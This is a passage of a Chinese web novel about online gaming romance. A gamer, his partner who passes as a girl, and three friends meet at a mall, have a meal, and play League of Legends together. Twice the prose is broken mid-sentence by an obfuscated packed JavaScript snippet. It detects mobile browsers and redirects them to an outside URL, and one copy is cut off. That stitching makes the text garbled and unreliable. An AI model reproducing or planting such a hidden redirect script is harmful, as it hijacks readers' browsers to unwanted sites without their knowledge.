他最念念不忘的,是顾妄护人的架势,黑外套一裹,严严实实。他努力侦察好半天,结果最后也只瞄到一截小腿。白得晃眼,线条漂亮得离谱。他当场在群里给了个SSS评分。 由于他描述得过于绘声绘色,连腿骨的走向都分析得头头是道,另外两位,当场被说精神了,那天晚上谁都没睡踏实,翻来覆去,都在想同一件事:到底长什么样,才能把顾妄这种人都硬控成这样。 所以今天一早,三个人连懒觉都没睡,直奔顾妄家楼下,准备线下观战。结果顾妄根本不理人。消息已读不回,电话一个不接。门童站得笔直,职业操守满分,三个轮番上阵,连电梯按钮都没摸到。 三个人站在楼下吹了半天冷风,临时开了个三分钟作战会议。最后由李青杨拍板:“以顾妄现在这个上头程度,今天肯定得带人出来消费。” 另外两人半信半疑,但也没有更好的方案。于是三人当场转移阵地,直接来万象城蹲点。 事实证明,李青杨确实挺懂顾妄。顾妄牵着许念刚进商场,就被他们一眼锁定。也不怪他们眼尖,实在是这俩人太扎眼。不过三个人也没急着冲上去,而是整整齐齐趴在二楼围栏边,化身专业街溜子,含情脉脉地目送顾妄牵着人从这家逛到那家。买裤子,买鞋,买衣服,一家接一家,爆金币爆得毫不手软。 三人轮流嘬着一杯冰美式防止犯困。直到看见许念终于拉着顾妄从店里出来,像是准备撤了,三个人对视一眼,决定正式现身。 “红包发一下,我赢了。”李青杨晃了晃手里那杯已经化得只剩冰水的美式,满脸得意:“我说了,顾妄这种人谈恋爱玩不来虚的。不会说软话,不会哄人,顶多就是刷卡。爱的方式比较单一,但胜在舍得又真氪得起。” 沈嘉行一边给他转账一边往下看:“说得像你亲身体验过一样。顾妄什么时候对你这么大方过?” 李青杨:“……” 沈嘉行冷笑一声:“你最多体验过AA制兄弟情。”。” 旁边,许同安推了推眼镜,继续ob:“你昨晚不是说他们吵架了吗?这看着也不像啊。” 楼下两个人一直牵着手,顾妄扣得很紧,许念乖乖跟在旁边。 沈嘉行啧了一声:“这要算吵架,那你跟作业闹别扭都算绝交。”说完他又眯起眼,认真研究许念的背影:“不过说真的,这身材是真有点离谱,纯纯背影杀手。” 许同安点头:“正脸肯定也不差,不然顾妄不可能上头成这样。” 李青杨一听,立刻精神,雄赳赳气昂昂地转身:“你以为我昨晚那个 SSS 评分是乱给的?”他握了下拳,神情郑重:“昨晚情况特殊,只看见小腿。今天高低得把正脸看明白。” 他把杯子往垃圾桶里一扔,抬手一挥:“兄弟们,上。” 顾妄一抬头,就看见那三个人正朝这边过来,脸上的表情蠢得不行。他想都没想,牵着许念转身就走。可惜没走成。那三个人动作比谁都快,左右一绕,转眼就把路堵了个严严实实。顾妄的脸色已经黑得不行。他们硬是当没看见,齐刷刷越过他,视线落到他身边的人身上。 “小鱼妹妹你好——”李青杨张口就是男夹子音,“初次见面,我是【老子今天不上学】。”他话音刚落,视线已经从头到脚把许念扫了一遍,整个人当场卡壳:“……哇。” 许同安立刻接上:“我是【今天放学还打你】。”他也认真看了一眼,然后也卡了:“……哇。” 沈嘉行在旁边挣扎了两秒,还是硬着头皮报了ID:“……我是【AP狗都不学】。”报完那一刻,他自己都替自己脚趾扣地。结果眼神刚一落到许念脸上,下一秒也跟着失语:“……哇。” 三个人同时安静了。你看看我,我看看你,又齐刷刷看向许念,耳根也齐刷刷红了。 许念站在原地,人有点懵。这几个ID一报出来,他就知道这三位是谁了。之前和顾妄双排的时候,这几个人没少锲而不舍地把他们往五排房间里拽。顾妄被烦得没办法,偶尔也会带他进去打两把。可隔着屏幕是一回事,真人站到面前,是另一回事。尤其是现在,这三个人像集体掉线,表情一个比一个呆,词汇量只剩一个字。 哇。 许念心里顿时警铃大作。 完了。 不会是他今天没化妆,素颜把人丑沉默了吧?这个念头一冒出来,许念下意识抿了抿唇。虽然顾妄之前盯着他素颜看了半天,还皱着眉说他平时化妆反而把自己化丑了。可顾妄那人,审美本来就有点问题。这下好了,不仅自己丢脸,还顺带把顾妄也一起拖下水。顾妄以后在兄弟面前,估计都不好意思抬头。 顾妄看他神情不对,眉眼一沉,抬手就把许念往身后一拽,挡得严严实实。 “看够没有?”他声音冷得要命,“别挡路。” 李青杨率先回魂。他转头看看顾妄,又看看许念,表情复杂得不行:“不是,哥们。”他指了指许念,又指了指顾妄,“你这网恋……到底网了个什么回来?” 许念心里咯噔一下,他是有多丑?丑到别人开始怀疑物种了吗? 而顾妄的眼神已经冷到能秒人。李青杨才终于意识到自己这话听着不太对劲,疯狂摆手:“不是不是不是,我不是那个意思!” 沈嘉行在旁边狠狠给了他一肘子,连紧救场:“小鱼妹妹别生气,他脑子刚才短路。他的意思是——”他停了一下,认真看了许念一眼,“你太好看了。” 许同安疯狂点头,像小鸡啄米:“真的!特别特别好看。” 沈嘉行又补一句,语气格外严肃:“校花级别。”他想了想,又摇头:“不对,校花都不一定有你能打。” 许念愣了一下。这三个人脸上的真诚几乎要溢出来,耳朵一个比一个红,怎么看都不像在哄人。他心里那点刚冒出来的容貌焦虑,忽然就散了大半。他小声纠正:“我比你们大。” 李青杨:“啊?” 许同安:“等等……” 沈嘉行:“…….姐姐?” 许念点了下头,三个人同时僵住。 下一秒—— “凭什么?” “凭什么?!” “凭什么?!!” 网恋到校花级别的漂亮姐姐,就算了。 还是个姐姐!漂亮,清冷,会玩软辅,还愿意陪他俯冲铂金。 三个人越想越气,越想越不服,最后,实在气不过,于是他们一气之下—— 就气了一下。 李青杨最先调整好心态,往前凑了一步,当场改口:“姐姐好!”语气热情得像刚上岗的客服:“姐姐渴不渴?饿不饿?要不要加个微信?平时打游戏要是嫌顾妄太烦,我们可以五排啊!” 他越说越上头,现场给自己安排岗位:“顾少打AD,我打野。虽然操作跟他没法比,但钻石局我还是能混一混的,保证死蹲下路,人头全让给姐姐!” “你先把惩戒练明白再说。”沈嘉行一把把他薅开,转头对许念露出一个自以为很帅的笑,“姐姐,你想吃什么?今天这顿我们请,算给嫂子接风。” 嫂子两个字一出来,许念的脸一下子红了。他下意识拽住顾妄卫衣下摆,整个人恨不得当场缩小,最好能变成那种钥匙扣公仔直接塞进顾妄口袋里。 事情忽然变得有点骑虎难下。他一个男的,被这帮小男生一口一个“姐姐”“嫂子”,叫得他头皮发麻。现在还能糊弄过去,等哪天真露馅,这三个人估计能,连夜买站票逃离地球。 顾妄察觉到他的小动作,手一翻,把他的手指扣进掌心里,重新十指紧握。然后掀起眼皮,居高临下地扫了眼前这三只,眼睛黏到许念身上不肯走的癞蛤蟆,冷笑了声:“想请客?” 三个人立刻点头。 下一秒,顾妄手里的几个购物袋已经塞进了他们怀里。 “行。”他说,“前面带路,拎稳点。” 半小时后,一行人坐进了日料店包厢。 三个平时在峡谷里当祖安钢琴家、混身份证进酒吧上蹿下跳的竞男,这会儿坐姿一个比一个端正。虽然没人敢明目张胆盯着许念看,但三双眼睛的余光明显在超负荷运转。 许念坐在顾妄旁边,手里捧着热茶,浑身都不太自在。 “那个……”许同安清了清嗓子,第一个发问,“嫂子,你们俩到底怎么认识的啊?” 许念手一顿,脑子当场卡壳。这要怎么说?总不能说他选了猫,原AD当场红温秒锁中单,把补位的顾妄硬生生挤去AD位,从此顾妄莫名其妙就当上了他的专属猫爬架。 那局游戏一下从记忆里翻出来。悠米挂在克格莫身上,两个人刚好撞了同款皮肤,连炫彩都一模一样——两只小蜜蜂呀,绿到峡谷中呀。游戏刚进去,原AD直接破防。 “乱码哥什么意思?” “带妹不自己包下,来祸害路人AD?” “纯÷是吧?” 许念本来想回一句:不认识,单排,别狗叫。 结果低头一看,自己这只绿炫彩小蜜蜂悠米,正挂在顾妄那只绿炫彩小蜜蜂大嘴身上,大嘴屁股后头那根蜜蜂尾针还一晃一晃的,嚣张得不行。 许念:“……” 就这画面,换谁来看,都觉得他俩有一腿。 他默默把聊天框关了,顺手屏蔽举报。 想起这儿,许念耳朵又有点发热,他下意识偏头去看顾妄,顾妄正拿着热毛巾慢条斯理地擦手,连眼皮都没抬:“网恋。” “这谁不知道啊!”李青杨急得一拍大腿,“我们问的是细节。到底是你先见色起意,还是姐姐先把你拿下?” 包厢瞬间安静,三双眼睛齐刷刷看过来。 许念握着茶杯,指腹微微收紧,这问题他还真答不上来。他知道自己是什么时候动心的,可顾妄是什么时候起的念头,他一直摸不准。他们也没谁认真开过口,稀里糊涂的,就从双排到了今天。 他只记得第一次视频那天,顾妄顶着那张拽脸,隔着屏幕看了他一会儿,然后低低一声:“哦”。从那天起,他们就开始天天视频,天天连麦。 一开始其实有点尴尬。顾妄话少,视频开着也不怎么说,大多数时候只是边打游戏边听他说,偶尔回一句。许念那时候好几次都想说,要不还是关了吧,开着太影响操作,那张脸实在太犯规,声音也一样。他打一会儿就忍不住想瞟一眼,瞟完又得心虚地把视线挪开。 可每次话到嘴边,他又都咽了回去。毕竟谁会舍得把顾妄的脸关掉。 后来慢慢熟了,尴尬也就没了。许念开始什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323614|199095||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都跟他说,今天上课差点睡着,教授打分低得离谱,去打卡的店又难吃又贵……大大小小的事,想到什么就说什么。 顾妄大多数时候还是那几句: “嗯” “然后呢。” “继续。” 听着像敷衍,可许念说什么,他都听着,从没半路走神,也没不耐烦打断过。等许念说完,他偶尔也会讲点自己的事。路上碰见条蠢狗差点扑到他鞋上;朋友又干了什么蠢事;有蠢货抄作业抄得太认真,连他的名字一起抄了上去;再比如谁又烦得他想直接拉黑,结果消息还在那儿一条一条往外蹦。 顾妄嘴里,十件事有九件都挺蠢。他对谁都那样,耐心少,脾气也差。偏偏轮到许念,很多本来一句就能结束的话题,他会多接两句;很多本来可以不听的废话,他也能听到最后。有时候许念自己都觉得说得没什么营养,正准备换个话题,顾妄却慢悠悠问一句:“没了?” 再后来,奔现来得也很突然。 那天是周五晚上,两个人照常挂着视频。顾妄刚洗完澡,头发还是湿的,拿毛巾随手擦了两下,抬眼看向屏幕:“这周六有空吗?” 许念心口轻轻一缩,却还是装得很镇定:“……有。” 顾妄看着他,停了一秒。 “出来。” 就两个字。 许念答应得很快:“好。” 顾妄那边只“嗯”了一声,又低头去擦头发。 包厢里安安静静,三个人还眼巴巴地等着答案。 许念刚想硬着头皮编两句,旁边的顾妄先出了声。 “我追的。” 他说完端起茶杯喝了一口,这才慢悠悠抬起眼,扫了那三个下巴快掉到桌上的损友一圈,眉梢轻轻一挑:“有意见?” “没有。” “完全没有。” “谁敢有。” 三个人否认得一个比一个快。桌子底下,李青杨已经激动得开始踹人,沈嘉行小腿挨了一脚,差点把筷子甩出去,扭头瞪他。李青杨眼睛都在放光,嘴型疯狂乱飞:我就说吧!我就说吧!以前妹子加他好友,他连通过都懒得通过,现在居然韩服分都不上了,只给姐姐打ad,不是他先栽还能是谁! 结果他下一脚太激动,直接踹偏了,顾妄垂下眼,看了眼自己腿边。 李青杨:“……” 他瞬间老实,默默把腿缩了回去,改成用胳膊肘去撞沈嘉行。沈嘉行被他撞得手一滑,筷子直接掉桌上,忍了又忍,到底没敢当着顾妄的面发作,只能转头送他一个“你等着”。 许念坐在旁边,耳边还在回放那句“我追的”,他偷偷偏头看顾妄,顾妄还是那副拽得不行的样子。许念认真回想了两秒,还是没想明白顾妄到底什么时候追过他。但他盯着顾妄看了一会儿,又默默把这个问题咽了回去。 算了。 顾妄说是,那就当是吧。 “那姐姐平时除了娜美和猫,还玩什么?”沈嘉行赶紧换了个话题,“下次五排我们能配阵容,绝对不让姐姐坐牢。” 许念认真想了想自己那点英雄田,刚要开口,顾妄先轻嗤了一声。他夹了块三文鱼刺身放到许念面前的小碟子里,语气凉飕飕的:“用不着你们配合,他对线跟我,打团也跟我。”说完还抬眼补了一句:“你们管好自己。” 三个人:“……” 懂了。 五星级游戏体验,依然轮不到他们。 三个人你一句我一句,嘴就没停过,吵得像三只刚放出来的麻雀。许念原本还有点放不开,听着听着,也被他们逗得弯了弯眼。见美女姐姐脾气软,那三个人更来劲,顺嘴就把顾妄那点事往外抖。从他那张谁都欠他八百万的臭脸,到学校里没断过的情书,再到老师都拿他当门面摆的成绩,乱七八糟说了一桌。 “嫂子,你别看妄哥老玩游戏,”沈嘉行咬着天妇罗,语气还挺得意,“他成绩真不是吹的。老师一直按藤校的标准盯他,过阵子人还得去外服继续杀。” 许念握着茶杯,动作轻轻顿了一下。他低头看着杯子里打转的茶叶,过了两秒,才忽然想起来,顾妄是国际生,以后要出国。 包厢里还闹哄哄的,三个人七嘴八舌地往下接。许念把杯子往唇边送了送,没喝,只是又放了回去。再抬头时,脸上还是那副温温柔柔的笑。“是吗?”他托着下巴,像是随口一问,“那他平时在学校——” 顾妄终于忍无可忍。他把筷子往筷架上一放,声音不重,却足够打断整个包厢的热闹。“闭嘴。”他冷着脸扫了那三个人一眼。“吃饭,吃完赶紧滚。今天之内别再让我看见你们。” 按理说,听到顾少这话,三兄弟就该识趣撤退。可这三个人显然早就摸透了局势。只要抱紧温柔大美女姐姐这条大腿,顾妄那张冷脸就跟防御塔一样——看着吓人,但真要顶着伤害往里冲,也不是不能越一波。于是这顿饭吃到最后,三个人连哄带求,本来“吃完各回各家”的局,硬是被他们磨成了: “开两把就走。” “真两把。” “我们打完立刻原地蒸发。” “保证不当电灯泡。” 沈嘉行一脸正气:“主要是给妄哥一个自证清白的机会。” 许同安点头:“嫂子第一次线下观赛。” 李青杨补刀:“不操作两把,说不过去。韩服千分野王,总得线下露手吧。” 沈嘉行继续拱火:“对,现场验号。不然嫂子以为你是老板号,找代练打的。” 等许念回过神,他们五个人已经整整齐齐坐进了网咖包厢,灵活组排,排队中。 7. 五排车队(1) 李青杨刚把耳机戴好,手就先搓上了,整个人肉眼可见地兴奋起来。“来吧姐姐,”他把麦往嘴边一拉,声音洪亮得不行,“这把你什么都不用操心,安心躺——” 顾妄还低着头在手机上敲键盘,听见这句,眼皮一抬,扫了他一眼。 就一眼。 李青杨汗毛瞬间起立,话当场转弯:“——安心打!安心打!” 他清了清嗓子,坐姿都跟着端正不少,“顾少今天考核局,我们几个纯属顺路蹭分,主打一个陪伴!” 沈嘉行在旁边冷笑:“你刚刚不是想说让姐姐躺赢吗?” “你听错了。”李青杨脸不红心不跳,“我说的是躺着也得努力。” 顾妄懒得听他们狗叫,鼠标一点,重返打野位,直接锁下格雷福斯。 男枪,纯爷们。 教父皮肤一亮,整个屏幕都透着一股“野区我家开的”的嚣张气息。虽然腾讯早就把叼着的那根雪茄和谐成牙签,但那股流氓悍匪味一点没少。 这种味道在峡谷里还有个俗称—— 狐臭味。 男枪这种英雄,味儿是平等的大。对队友有味,对对手更有味。 顺路脏队友一波线是基本操作,装备一领先,对面打野在自己野区就会出现一种神奇现象—— 闻味逃跑,体面点说是被熏出野区。 许同安一看就乐了:“完了,对面野区今天成公共场所了。” 对面打野是蜘蛛。典型节奏打野,抓人狠、越塔猛,但如果野区被男枪反上两轮,节奏一断,这局基本可以提前坐牢。 “野王哥哥这把得给弟妹露一手啊。”李青杨一边表忠心一边秒锁奥恩,语气里充满蓝领上单的觉悟,“我六级前绝不出塔,六级后大招一顶,剩下的全看妄哥操作。等我十四级,第一件装备必须给弟妹打。” 沈嘉行反手锁下发条:“野区你随便玩,我推线站岗。对面蜘蛛敢进你野区,我第一时间给信号。” 李青杨笑了:“你个发条拿头进野区?这把你不被抓成0-10我跟你姓。” 沈嘉行也不恼:“谁说我要过去,我报点不行?” “行。”李青杨点头,“泉水指挥官也是官。” 许同安最省事,开口就一句:“求顾少带飞。” 说完反手锁下母拉拉EZ,下路最经典的单机AD。手长,位移多,清线也安全,自己在塔下混就行。简单来说—— 不需要辅助。 许同安态度摆得非常端正:确保自己在下路和嫂子清清白白,嫂子的奶全部留给妄哥,绝不当第三者。撑死只能做姐妹。 “嫂子六级以后看情况跟妄哥游走就行,不用管我。”他语气极其卑微,“我自己在下路混,补得到刀算赚,补不到算我菜。” 语音频道里吵成一团,许念被他们逗得没忍住笑了一下。他偏头看了眼顾妄的皮肤,顺手把自己的换成魅惑女巫娜美的黑色炫彩:漆黑的女巫帽,墨紫色鱼尾,手里拎着一盏幽幽发亮的黑南瓜灯。加载界面跳出来的时候,教父男枪和女巫鱼并排站着:一个嘴里叼着牙签,一个手里提着南瓜灯。看起来不像来打排位的,倒像半夜准备去金库踩点的亡命鸳鸯。 沈嘉行扫了一眼阵容,先乐了。“行了,这把不用看别的了。”他往椅背上一靠,慢悠悠补了一句:“就看狐臭男味儿能冲成什么样。” 蜘蛛F6开,顾妄一进游戏就给沈嘉行的中路提前下了死亡通知书:“蜘蛛抓中。”不到三分钟,他把镜头往中路一切,在沈嘉行塔边连点一排黄色警告信号。信号刚落,语音里已经炸了。“哥——!!他在我脸上!!” 沈嘉行声音都变形了。 顾妄面无表情:“知道。” 救人? 不存在的。 收保护费更重要。 男枪提着散弹枪直接E进蜘蛛上半野区,蓝Buff、三狼一路抄家。刷完原地回城,战锤一掏,发育节奏直接领先。 而中路这边,沈嘉行因为开局就被顾妄写进“死亡笔记”,早早化身塔之子,补刀随缘,手指永远按在闪现上,主打一个宁可少补十个刀,也绝不赌自己能不能躲开蜘蛛的结茧。 蜘蛛在中路晃了半天,发条缩在塔下像只王八,毫无机会。没抓到人不说,还被沈嘉行QW磨掉三分之一血。蜘蛛站在河道,人都麻了,上半区大概率已经被掏空,现在回去还可能撞上狐臭男蹲自己,想来想去,只能灰溜溜往下半河道钻,把河蟹惩了,先给自己续一口命。 结果他吃完河蟹,刚拐到自己的F6,一抬头,顾妄正叼着牙签站在坑边,慢悠悠地等着他。补过装备的男枪等级已经领先一级半,散弹枪往肩上一架,往那儿一站,连脚下那片野区都像跟着改了姓。 蜘蛛站在原地沉默了两秒,最后默默钻进旁边草丛蹲下了。姿势熟练得让人心疼,像个眼睁睁看着家里遭贼、却连110都不敢打的倒霉户主。顾妄连惩戒都懒得交,小鸡一只只清过去,动作慢条斯理,不像反野,像回自己家刷第二轮。蜘蛛蹲在草里看着,越看越憋屈,越憋屈越不敢动,最后整个人都快缩成一团了。 对面中单忽然在语音里吼了一句:“兄弟撑住,我来了。” 兄弟局最见不得兄弟受欺负。对面中单兵线都不要了,推完就往野区冲,气势汹汹准备替兄弟讨个说法。结果人刚钻进隘口,顾妄反手一颗烟幕弹糊脸,屏幕当场一黑,对面中单方向都没摸明白,男枪已经E了上来,贴脸三枪接Q,子弹一收,人直接蒸发,别说讨说法了,连句“兄弟我又走了”都没喊完整,人先回泉水了。蜘蛛见好兄弟当场白给,怒从心头起,恶向胆边生,直接扑上去想换掉半血男枪。十秒后,两人在泉水相见。李青杨第一个笑出声:“可以啊,对面中野双向奔赴,兄弟感情挺深。” 顾妄没理他们,转头去刷自家下半区。许念的娜美正好从河道游过来,小鱼尾巴一甩,隔着墙一个W弹了过去,水花落在男枪头上。其实顾妄早就把野清完了,人没走,就站在原地,等那口奶。水花落下来,他才低低应了一声:“嗯。” 这才转身走人。 沈嘉行看了眼男枪脚下的红Buff,又看了眼那几乎可以忽略不计的掉血,顿时酸得牙都快碎了:“姐姐,你别理他。他刷野本来就不掉血。这人八成是卡着你回线时间,故意站那儿让野怪啃两口。” 许念耳朵微微一热,还是开口替顾妄解释:“不是他故意的。”他说完抿了下唇,声音更轻了一点,“……是我让他等我奶一下。” 顾妄这回终于出了声:“你很闲?” “……不闲。” 沈嘉行立刻闭嘴。 与此同时,对面打野正坐在泉水里发呆。隔了两秒,他切出去查了一眼顾妄的战绩,再回来时冷笑了一声,公屏啪地跳出两行字: 【狐臭男,搞我是吧?】 【行,我搞你兄弟。】 蜘蛛说到做到,复活出来直奔上路。中单太龟,下路太滑,算来算去,只剩上路那只胖羊羊最好下嘴。 李青杨这会儿正和石头人在上路和平共处。兵线推过来,石头人补一个刀,他补一个刀;石头人A一下兵,他也A一下兵。两个人脸贴脸补刀,打野不来,连象征性互锤两拳都懒得演。 这把本来就是标准对混局。奥恩对石头人,两坨肉往上路一摆。谁也别想单杀谁,谁也别想被单杀。主打一个养老送终式发育。除非打野路过,石头人才会象征性请羊吃一口车轮饼,羊也很有礼貌地回头顶一下。双方点到为止。主要是演给打野看:我们没挂机。等团战开了,再双双往人堆里一砸,把这身肥肉交给自家大爹验收,这把就算交差。 结果下一秒,蜘蛛从草里钻出来了。李青杨反应不慢,转头就往塔下跑。可对面石头人已经闪现上来,一个E拍脸减速,蜘蛛结茧跟上,屏幕瞬间黑白。 “……” 李青杨幽幽开口:“不是,他凭什么抓我啊?” 沈嘉行回答得很快:“因为你好抓。” 许同安补刀:“而且长得也像三百块。” 李青杨:“……” 他复活以后又老老实实回线上补兵,对面石头人也继续补刀,场面重新恢复那种谁都没想弄死谁的和谐。李青杨刚松口气,三十秒后,蜘蛛又来了,这次连草都不蹲,直接从河道大摇大摆走上来。 李青杨声音都变了:“不是吧?!” 话音刚落,石头人大招已经砸下来,屏幕再次一灰。 沈嘉行慢吞吞接上:“他刚刚不是说了吗,搞狐臭男兄弟。” 许同安跟着补充:“兄弟就是你。” 李青杨:“……” 等李青杨第四次从泉水里出来,终于忍无可忍,切到公屏敲字: 【蜘蛛,别暗恋哥】 【没结果。】 发完这句,他立刻切回语音开始嚎:“父皇速来!看看你大儿子在上面被欺负成啥样了!再晚一点我就只剩羊毛了!” 顾妄正顺手收下刚刷新的小龙,听见鬼哭狼嚎,切屏看了一眼上路,战绩栏上那个0-4扎眼得不行。他连表情都没变,冷冷丢过去两个字:“别送。”说完镜头切回去,头也不回地往下路走,顺手看了许念一眼:“跟我。” “好。” 许念立刻应了一声。 娜美的w刚转好,一道水流轻轻弹到男枪身上,把那点掉下去的血抬了回来。小鱼摆着尾巴跟在那个叼着牙签的男枪后面,一前一后贴得很近,乖得像个寸步不离的小挂件。 李青杨:“……” 他盯着小地图上那个完全没有北上意图的头像,沉默了两秒。 呵呵。 自家打野现在已经彻底转职成下路专属保安。换作以前,顾妄反完野高低还得继续蹲蜘蛛,把对面打野逼到想卸载游戏。现在倒好,上半区他连眼角余光都懒得分一个,野区低保都大大方方留给蜘蛛,自己刷完三片野,就准时往下路二塔旁边的草丛一钻,蹲得比上班打卡还准。至于上路那个肉质鲜美、行走的三百块、会自己补兵也会自己死的胖羊羊——李青杨,已经被他打包捐给对面打野。 这会儿李青杨亲眼看着蜘蛛钻进自己旁边的一草,整个人往椅背上一靠,声音幽幽地从麦里飘出来,像刚从地府窗口办完业务回来:“顾少。” 没人理他。 “顾少,你不觉得下路有点挤吗?” 顾妄还是没说话。 李青杨的声音继续幽幽往下飘:“三个人,是不会有好结局的。”他停顿了一下,语气突然悲壮起来:“来上路吧,爸。” “只要你肯看我一眼,我给你磕头都行。” “真的。” 许同安第一个跳出来投反对票。作为全场发育最舒服的人,他现在正美滋滋地享受帝王待遇:一塔镀层没人抢,整波兵线没人分,下路一切岁月静好。而狐臭男这会儿正带着他老婆,双双蹲在对面下路二塔旁边的草丛里。 许同安立刻回怼:“李青杨你能不能懂点事,胡说什么呢?” “我爸我妈在草丛里谈恋爱呢,挤什么挤?” “你个孤儿羊滚一边啃草去,别破坏别人家庭和谐。” 下一波兵线刚到,对面AD在二塔中间来回踱步,左右试探,最后还是咬着牙往塔下走,打算赌一把。结果人还没摸到兵,男枪已经从草里E了出来,烟幕弹一扔,屏幕瞬间一黑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,召唤师峡谷迎来了史诗级公屏钢琴大赛。喷人的输出频率、节奏感和连招流畅度,比这局游戏里五个人打出来的伤害加起来还高。蜘蛛干脆不刷野了,停在野区原地打字;石头人也不动了,站在上路原地跳舞,顺便加入公屏大战。整个峡谷瞬间热闹得像过年。 好家伙。李青杨本来只是嘴贱两句,准备继续回上路坐牢。毕竟灵活排位里五排互撞本来就是家常便饭,这种程度的拱火,按理说根本离间不了。谁知道这把不是正经五排,对面是个三加二拼车局——上中野三排,下路两个双排。李青杨这一把火顺着网线,精准烧进了对面下路双排兄弟的肺管子。 时间来到15:01,对面水晶准时爆炸。 沈嘉行整个人都懵了:“不是,我这发条大招还没拉五个呢,这就赢了?” 许同安嘿嘿一笑,指着战绩表说:“你看看人家青杨,这波叫献祭上单打法。配合心理战攻势,凭一己之力离间对面。” 李青杨此时已经彻底扬眉吐气。他往电竞椅上一靠,双手枕在脑后,看着自己那惨不忍睹的0-4-0战绩,表情却异常满足。 “看到没?这就叫专业。” “这把MVP,我实至名归。” “谁赞成,谁反对?” 没人理他。 顾妄已经摘下耳机,视线很自然地落在许念身上:“要喝东西吗?” 许念本来还在听他们胡扯,笑得肩膀都在轻轻发抖。结果顾妄一看过来,他脸一下就热了。想躲,目光却还是不争气地黏在顾妄脸上,怎么都挪不开。顾妄侧脸线条分明,鼻梁很高,唇角压着一点漫不经心的弧度。连低头摘耳机这种动作,在他身上都显得格外帅气。 许念盯了两秒,耳根先红了,只能小声说:“不用……” 顾妄看了他一眼,没说什么。下一秒手机震了一下,他低头接起来,只回了一个字:“好。” 没过多久,网咖工作人员拎着外卖推门进来,五杯奶茶,一字排开放在桌上:荔浦芋圆加米麻薯,三分糖。一看就知道是谁的口味,剩下那四杯纯属沾光陪跑。 许念低头看着奶茶标签,指尖在冰凉的杯壁上轻轻蹭了一下,脸更红了。为了见顾妄,他这阵子已经节食了很久,奶茶更是碰都没敢碰,连自己都快忘了之前随口提过这一款,结果顾妄却记得清清楚楚。 李青杨下意识张嘴:“兄dei咋不给我点杯手打柠檬——”话说到一半,他刚好撞上顾妄扫过来的视线,那点多余的诉求瞬间死在喉咙里。下一秒他脑子里已经飞快闪过无数种结局:比如顾妄冷冷来一句“你没长手?”;又比如更直接一点,“行,下把你继续一个人闻经验”。 求生欲在这一刻完胜口腹之欲。李青杨硬生生把那个“茶”字咽了回去,低头抓起桌上的奶茶猛吸了一大口,结果芋泥太厚,差点当场把他送走。捂着嗓子咳了半天,最后低头看着手里那杯三分糖,只觉得喝进嘴里的每一口都带着点单身狗特有的苦涩。 顾妄修长的手指在桌面轻轻敲了敲,语气不咸不淡,听不出是在提醒谁:“喝慢点。别等会儿打游戏手抖,技能全空。” 李青杨捧着奶茶不敢吭声。 许念低头咬住吸管,甜味刚入口,耳朵就更热了。 他小声说:“……谢谢。” 顾妄“嗯”了一声,顺手捏了捏他的脸。 许念一下僵住,捧着奶茶杯没动,耳朵连着脖子一起红了。吸管还咬在嘴里,人却像突然不会喝了一样,连眼睛都不知道该往哪放,只能低头装作认真研究杯壁上的标签。 一屋子人顿时谁都不再吭声,包厢里只剩下此起彼伏吸芋泥的声音,和三个单身汉被当场秀沉默后格外安静的呼吸声。 8.五排车队(2) 第二把刚切进加载界面,耳机里忽然传来许念极轻的一句:“要不……你去帮帮他们吧?” 这话一出,李青杨差点当场高歌一曲《世上只有妈妈好》。上一把他在上路被蜘蛛当成提款机反复提现,叫爹叫到嗓子冒烟,顾妄愣是连个安慰信号都没点过。结果倒是让人美心善的妈给记心里了。 他刚准备激情开麦当场认妈,顾妄已经用行动告诉他什么叫父爱如山——山体滑坡还带泥石流那种, “我不打野。”顾妄面无表情,鼠标轻轻一晃,秒锁复仇之矛卡莉斯塔。 语音频道里顿时一片倒吸凉气。 草,网恋之矛来了。子曾经曰过:铁打的滑板鞋,流水的软辅。作为带妹界天花板,这英雄不仅技能帅、操作秀,还很有仪式感:开局小链子挂妹妹身上,灵魂契约一签定,比翼双飞、生死相随的既视感立刻上线。但这英雄极吃熟练度,绝活哥滑板鞋横跳,滑到对面脑溢血;绝症哥高跟鞋一踩,自己崴脚断腿坐牢。 顾妄手腕轻动,不动声色地微调了下鼠标的DPI,潜台词显而易见:赢不够,还得在许念面前秀。 许念愣了一下,侧过头小声问:“那我要不要换璐璐保你?” “不用。”顾妄语气散漫却笃定,“小鱼就很好。” 排排坐的三个单身汉齐刷刷地闭上眼,表情一个比一个安详。 李青杨率先超度自己,语气古井无波:“靴靴。” 沈嘉行双手合十:“阿弥陀佛,靴靴这泼天的狗粮。” 许同安仰天长叹:“接水泡我靴靴你,单身狗的命也是命惹。”都已经成功奔现,还在峡谷里演“你选什么我都能带飞”的偶像剧,纯属不把兄弟当人看。 然而游戏加载界面显然不顾及单身狗的死活,比赛火速开始,他们身处蓝色方。对面下路是金克丝配紫皮大蒜璐璐,摆明了想拖三件套接管比赛,但顾妄脑子里就两个字:速推。 沈嘉行为了近距离偷师网恋之矛,连正常刷野路线都不要了,强行往下半区靠。结果那柄死矛压根没打算带他玩。泉水中央,卡莉斯塔单膝跪地跟娜美签完灵魂契约,光效一散,顾妄连个余光都没施舍给沈嘉行,带着他的鱼姐姐一头扎进下路草丛。 孤零零站在蓝buff旁的沈嘉行风中凌乱:“卧槽,帮我打两下蓝啊!” 下路草丛一片死寂,耳机里只剩细微电流声,那两口子仿佛同时突发性耳聋。 “学 E。”顾妄盯着屏幕,忽然开口。 “好。”许念秒点技能,乖得不行。 